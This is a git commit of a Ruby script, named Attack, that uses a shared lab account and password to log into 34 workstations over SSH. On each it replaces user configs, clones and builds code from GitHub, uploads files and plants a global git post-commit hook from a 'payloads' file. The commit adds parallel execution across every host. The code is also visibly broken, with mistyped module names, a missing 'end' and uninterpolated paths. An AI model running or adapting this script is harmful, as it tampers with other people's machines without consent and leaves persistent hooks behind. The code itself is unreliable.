<commit_before>require 'net/ssh'
require 'net/scp'

dbc_hosts = (1..34).map{ |number| "dbc%02d.local" % number }

host = 'dbc26.local'
login = 'apprentice'
password = '<PASSWORD>'

class Attack
  def initialize(host, login, password)
    @host = host
    @login = login
    @password = password
    @home = "/Users/apprentice"
  end

  def ssh_session
    Net:SSH.start(@host, @login, password: @password) do |ssh|
      yield(ssh)
    end
  end

  def scp_session
    Net:SCP.start(@host, @login, password: @password) do |scp|
      yield(scp)
    end
  end

  def install_nyan
    ssh_session do |ssh|
      ssh.exec!("gem install nyan-cat-formatter")
    end
  end

  def config_nyan
    ssh_session do |ssh|
      ssh.execute!("mv #{@home}/.rspec #{@home}/.rspec.backup-#{DateTime.now}")
    end
    scp_session do |scp|
      scp.upload("payloads/.rspec", "#{@home}/.rspec")
    end
  end

  def install_imageleap
    ssh_session do |ssh|
      ssh.execute!("git clone https://github.com/daytonn/imageleap.git")
      ssh.execute!("cd imageleap")
      ssh.execute!("make")
      ssh.execute!("make install")
    end
  end

  def install_zorak
    ssh_session do |ssh|
      ssh.execute!("mkdir #{@home}/.gittack")
    end
    scp_session do |scp|
      scp.upload("payloads/zorak.png", "#{@home}/.gittack/zorak.png")
    end
  end

  def configure_githooks
    ssh_session do |ssh|
      template_path = ssh.execute!("git config --global init.templatedir")
      if not template_path
        template_path = "#{@home}/.git-templates"
        ssh.execute!("mkdir #{template_path}")
        ssh.execute!("mkdir #{template_path}/hooks")
      end
      template_path + "/hooks"
    end
  end

  def install_githooks(hooks_path)
    ssh_session do |ssh|
      ssh.execute!("mv hooks_path/post-commit hooks_path/post-commit.backup-#{DateTime.now}")
    scp_session do |scp|
      scp.upload("payloads/all-your-base.rb" "#{hooks_path}/post-commit")
    end
  end
end

attack = Attack.new(host, login, password)
attack.install_imageleap
attack.install_zorak
attack.configure_githooks
attack.install_githooks
attack.install_nyan
attack.config_nyan<commit_msg>Starts adding multiple box functionality through Rye<commit_after>require 'net/ssh'
require 'net/scp'
require 'rye'

class Attack
  def initialize(host, user, password)
    @host = host
    @user = user
    @password = password
    @home = "/Users/apprentice"
  end

  def ssh_session
    Net:SSH.start(@host, @user, password: @password) do |ssh|
      yield(ssh)
    end
  end

  def scp_session
    Net:SCP.start(@host, @user, password: <PASSWORD>) do |scp|
      yield(scp)
    end
  end

  def install_nyan
    ssh_session do |ssh|
      ssh.exec!("gem install nyan-cat-formatter")
    end
  end

  def config_nyan
    ssh_session do |ssh|
      ssh.execute!("mv #{@home}/.rspec #{@home}/.rspec.backup-#{DateTime.now}")
    end
    scp_session do |scp|
      scp.upload("payloads/.rspec", "#{@home}/.rspec")
    end
  end

  def install_imageleap
    ssh_session do |ssh|
      ssh.execute!("git clone https://github.com/daytonn/imageleap.git")
      ssh.execute!("cd imageleap")
      ssh.execute!("make")
      ssh.execute!("make install")
    end
  end

  def install_zorak
    ssh_session do |ssh|
      ssh.execute!("mkdir #{@home}/.gittack")
    end
    scp_session do |scp|
      scp.upload("payloads/zorak.png", "#{@home}/.gittack/zorak.png")
    end
  end

  def configure_githooks
    ssh_session do |ssh|
      template_path = ssh.execute!("git config --global init.templatedir")
      if not template_path
        template_path = "#{@home}/.git-templates"
        ssh.execute!("mkdir #{template_path}")
        ssh.execute!("mkdir #{template_path}/hooks")
      end
      template_path + "/hooks"
    end
  end

  def install_githooks(hooks_path)
    ssh_session do |ssh|
      ssh.execute!("mv hooks_path/post-commit hooks_path/post-commit.backup-#{DateTime.now}")
    scp_session do |scp|
      scp.upload("payloads/all-your-base.rb" "#{hooks_path}/post-commit")
    end
  end
end

dbc_hosts = (1..34).map{ |number| "dbc%02d.local" % number }

host = 'dbc26.local'
user = 'apprentice'
password = '<PASSWORD>'

attack = Attack.new(host, user, password)
attack.install_imageleap
attack.install_zorak
attack.configure_githooks
attack.install_githooks
attack.install_nyan
attack.config_nyan

rset = Rye::Set.new(parallel: true)
dbc_hosts.each do |host|
  rbox = Rye::Box.new(host, user: user, safe: false, password: password, password_prompt: false)
  rset.add_box(rbox)
end

puts rset.hostname

{'fraction_non_alphanumeric': 0.13644327639071396, 'fraction_numerical': 0.0030661410424879547, 'mean_word_length': 3.1784080512351327, 'pattern_counts': {'":': 0, '<': 6, '<?xml version=': 0, '>': 6, 'https://': 2, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '1936820', 'n_tokens_mistral': 1719, 'n_tokens_neox': 1653, 'n_words': 343}